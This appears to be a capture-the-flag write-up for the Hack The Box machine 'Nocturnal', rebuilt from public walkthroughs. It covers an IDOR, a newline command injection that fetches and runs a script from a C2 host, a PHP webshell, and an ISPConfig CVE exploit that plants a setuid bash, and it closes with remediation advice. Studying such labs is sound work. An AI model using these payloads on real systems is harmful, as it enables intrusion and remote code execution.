Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Nocturnal is an Easy Linux box: file-share PHP app with IDOR
on /view.php lets you peek at any user’s files →
amanda’s document leaks her credential; admin panel’s
“backup” feature builds a shell command with a denylist that
omits \n (URL %0a) — newline-separated injection runs
shell commands. SQLite hashes → MD5 crack → SSH as tobias;
CVE-2023-46818 in ISPConfig (admin language file editor
PHP code injection) on the local-only ISPConfig instance →
root.
The chain:
/view.php?username=amanda&file=note.docx— IDOR. Inside,arHkG7HAI68X8s1J. Reuses for admin panel.- Admin → backup feature →
zip -r ... -P <pw>template; inject newline +bash -c '...'. - RCE as
www-data. SQLite users.db → MD5 hashes →tobias : slowmotionapocalypse. SSH. localhost:8080ISPConfig 3.2.x. CVE-2023-46818 PHP injection inrecords[]of language-file editor; admin credential istobias(or auth via tobias creds reused). Inject<?php system($_GET[c]); ?>into a language file; call language-loader endpoint; webshell as root → SSH key plant or direct shell.
Recon
22/tcp OpenSSH
80/tcp nginx → nocturnal.htb (PHP file-share)
8080/tcp localhost-only ISPConfig (post-pivot)
Foothold — IDOR + admin backup injection
# enumerate users
for u in alice bob amanda admin tobias; do
curl -s "http://nocturnal.htb/view.php?username=$u" | grep -i 'file'
done
# amanda has note.docx
curl -O "http://nocturnal.htb/view.php?username=amanda&file=note.docx"
# extract creds: arHkG7HAI68X8s1J
Login as admin (amanda’s creds work for the admin panel — same
user/pw mapping). Admin panel “Create backup” form has a
backup_name field that goes into:
exec("zip -r /backups/{$backup_name}.zip -x './backups/*'");
Filter blocks ;|&$ but not \n. Submit
backup_name=foo%0abash%09-c%09"curl%20http://C2/r.sh|bash"%23:
zip -r /backups/foo.zip -x './backups/*'
bash -c "curl http://C2/r.sh|bash" #...
Reverse shell as www-data.
User pivot — SQLite + MD5
$ sqlite3 /var/www/html/database/db.sqlite3 .dump | grep tobias
INSERT INTO users(username,password) VALUES('tobias','55c82b1ccd55ab219b3b109b07d5061d');
# CrackStation -> slowmotionapocalypse
$ ssh tobias@<TARGET>
Privesc — ISPConfig CVE-2023-46818
$ ssh -L 8080:127.0.0.1:8080 tobias@<TARGET>
# attacker browser -> http://127.0.0.1:8080
# log in as admin (tobias creds again, or default)
ISPConfig < 3.2.11p1 has CVE-2023-46818: language file editor
takes records[] and writes them into an eval()‘d block.
Public PoC bipbopbup/CVE-2023-46818-PoC:
python3 cve-2023-46818.py \
--url http://127.0.0.1:8080 --user admin --password slowmotionapocalypse \
--command 'cp /bin/bash /tmp/rb && chmod +s /tmp/rb'
/tmp/rb -p
Root.
Why each step worked
- IDOR: handler trusts URL params for ownership.
- Newline missing from denylist: shell-friendly word separator that the developer forgot.
- MD5 unsalted password: classic.
- CVE-2023-46818: ISPConfig’s translation editor evaluates code from posted records; intended for in-app language switching, abused for RCE.
Counterfactuals
- Authorize file-view by session user, not by URL parameter.
- Allowlist-based input validation; never denylists.
- Use a real KDF for passwords.
- Patch ISPConfig ≥ 3.2.11p1.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Nocturnal” — https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html
- IppSec, “Nocturnal” video walkthrough — https://ippsec.rocks/?#Nocturnal
- bipbopbup PoC for CVE-2023-46818.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.